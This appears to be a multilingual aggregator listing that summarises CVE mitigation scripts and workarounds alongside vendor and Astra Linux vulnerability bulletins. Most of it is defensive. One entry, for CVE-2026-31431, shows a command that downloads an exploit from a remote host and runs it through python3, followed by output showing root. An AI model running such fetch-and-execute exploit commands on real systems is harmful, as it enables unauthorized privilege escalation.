pcap-burp

Este proyecto proporciona una extensión de Burp Suite para importar y escanear pasivamente archivos Pcap/Pcapng con Burp. Puede utilizarse en casos en los que un cliente HTTP no admita el proxy, pero sería útil escanear, inspeccionar o reproducir el tráfico HTTP usando Burp. Compilación desde el...

Disable-IPv6-CVE-2024-38063-Fix

禁用IPv6以缓解CVE-2024-38063，无需安装KB更新 概述 此脚本旨在缓解严重漏洞CVE-2024-38063的影响，该漏洞是Windows TCP/IP协议栈中与IPv6相关的远程代码执行（RCE）漏洞。通过禁用系统上的IPv6，此脚本提供了临时的缓解措施，可在不安装相应KB（知识库）更新的情况下保护系统免受该漏洞的潜在利用。 脚本功能 1. 创建注册表文件： 脚本生成一个.reg文件，修改Windows注册表以禁用IPv6，具体是通过设置Tcpip6\Parameters注册表键下的DisabledComponents值。 2. 检查目录是否存在：...

log4j-CVE-2021-44228-workaround

log4j-CVE-2021-44228-变通方案 A. 解决方案说明 本项目为 log4j CVE-2021-44228 漏洞提供了一个通用变通方案，适用于短期内无法重建项目或修补 log4j-core jar 包的场景。 其背后的思路很简单：我们通过 Java 运行时参数 "-Xbootclasspath/a" 强制类加载器加载一个 "空版本" 的 JndiLookup 类。 因此，整个变通方案仅包含这一个类 "org.apache.logging.log4j.core.lookup.JndiLookup.java"，并且没有其他依赖项。 为了方便通过 Maven 编译和打 jar...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash algunos usos: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

copy.fail-mitigation-MLM

Crear un nuevo canal de configuración State Channel en Multi-Linux Manager usando el código del archivo copy-fail.sls. Asigna el canal de configuración a todas tus máquinas y ejecútalo, o ejecuta Highstate. ¡Esto es una solución temporal!...

WSUSResponder

🧰 WSUSResponder Versión: 1.0.1 Autor: RZA / IT Operations Licencia:MIT 🎯 Objetivo El módulo WSUSResponder proporciona un conjunto de herramientas PowerShell para responder rápidamente a la vulnerabilidad crítica CVE-2025-59287 , una falla de ejecución remota de código RCE que afecta a Windows...

CVE-2020-1350-Fix

KB4569509：针对 DNS 服务器漏洞 CVE-2020-1350 的指南 简介 2020 年 7 月 14 日，Microsoft 发布了针对 CVE-2020-1350 | Windows DNS 服务器远程代码执行漏洞所述问题的安全更新。本公告描述了一个严重级别的远程代码执行 RCE 漏洞，该漏洞影响配置为运行 DNS 服务器角色的 Windows 服务器。我们强烈建议服务器管理员尽早应用此安全更新。 可以使用基于注册表的变通方案来帮助保护受影响的 Windows...

disable-RegisterSpoolerRemoteRpcEndPoint

disable-RegisterSpoolerRemoteRpcEndPoint 针对 Windows Print Spooler 远程代码执行漏洞 CVE-2021-34527 的变通方案。参见： https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 更新 2021-07-08：微软发布了补丁 微软已经为此漏洞发布了补丁，因此保持系统更新就足够了。 然而，如果您愿意，仍然可以关闭此功能（可能是因为您不使用它，或者仍然觉得不安全）。 使用方法 以管理员权限下载并执行。 此脚本的功能...

zeekjs-notice-telegram

Zeek Notice Telegram edición ZeekJS Este paquete reimplementa zeek-notice-telegram en TypeScript ZeekJS para sortear la falta de fiabilidad de ActiveHTTP. Toma prestado tanto el paquete de Yacin mencionado anteriormente como la reimplementación ZeekJS de la inspiración original de ese paquete...

CVE-2021-26084-patch-

CVE-2021-26084 补丁 CVE-2021-26084 补丁由 "Confluence 安全公告 - 2021-08-25" 提供 这仅是针对基于 Linux 的服务器的临时解决方案，Atlassian 已提供新的修复版本，如果您不想升级，只需打上补丁即可！ 安装 下载 cve-2021-26084-update 文件，并确保以目录管理员身份运行。 在补丁代码中设置以下变量。 root@kitploit: INSTALLATIONDIRECTORY=...

CVE-2020-1350

CVE-2020-1350 SigRED 通过减少DNS服务器上的TCP接收数据包大小最大限制并重启DNS服务来缓解漏洞影响的变通方法。...

CVE-2015-0235-workaround

CVE-2015-0235-solución temporal también conocida como vulnerabilidad GHOST en glibc Un envoltorio de biblioteca compartida con comprobaciones adicionales para las funciones vulnerables gethostbyname2r y gethostbynamer . La solución adecuada para CVE-2015-0235 es actualizar glibc al menos a...

Security Bulletin: IBM Sterling B2B Integrator and IBM Sterling File Gateway are Vulnerable due to reflected XSS vulnerability in AFT (CVE-2026-0835)

Summary IBM Sterling B2B Integrator and IBM Sterling File Gateway have addressed reflected XSS vulnerability Vulnerability Details CVEID:CVE-2026-0835 DESCRIPTION: IBM Sterling B2B Integrator and IBM Sterling File Gateway 6.1.0.0 through 6.1.2.72, 6.2.0.0 through 6.2.0.51, 6.2.1.0 through 6.2.1.1...

Astra Linux – Vulnerability in docker.io

Moby is an open-source project created by Docker to enable software containerization. A bug was discovered in Moby Docker Engine where supplementary groups are not set up properly. If an attacker has direct access to a container and manipulates the supplementary group permissions, they may be abl...

Astra Linux – Vulnerability in xrdp

xrdp is an open-source project that provides a graphical login to remote machines using the Microsoft Remote Desktop Protocol RDP. xrdp versions prior to 0.9.21 contain a “Out of Bound Read” vulnerability in the xrdpsecprocessmcsdataCSCORE function. There are no known workarounds for this issue...

Astra Linux – Vulnerability in docker.io-app

Moby is an open-source container framework developed by Docker Inc., distributed as Docker Engine, Mirantis Container Runtime, and various other downstream projects/products. A firewalld vulnerability affects Moby versions prior to 28.0.0. When firewalld is reloaded, Docker fails to recreate...

Astra Linux – Vulnerability in Redis

Redis is an open-source, in-memory database that persists data on disk. Versions 8.2.1 and earlier allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, triggering a use-after-free and potentially leading to remote code execution. This issue exists...

Astra Linux – Vulnerability in Netty

Netty is an open-source, asynchronous event-driven network application framework for rapid development of maintainable high-performance protocol servers and clients. Before version 4.1.59.Final, there was a vulnerability on Unix-like systems involving an insecure temporary file. When Netty’s...

Astra Linux – Vulnerability in freerdp2

FreeRDP is a free implementation of the Remote Desktop Protocol. Clients that use versions of FreeRDP prior to 3.5.0 or 2.11.6 are vulnerable to out-of-bounds read vulnerabilities. Versions 3.5.0 and 2.11.6 address this issue. As a workaround, deactivate /gfx which is enabled by default; instead,...

Astra Linux – Vulnerability in Systemd

Systemd, a system and service manager, as PID 1 encounters an assertion error and freezes execution when an unprivileged IPC API call is made with spurious data. In versions v249 and earlier, the effect is not an assertion error, but stack overwriting, with the content being controlled by the...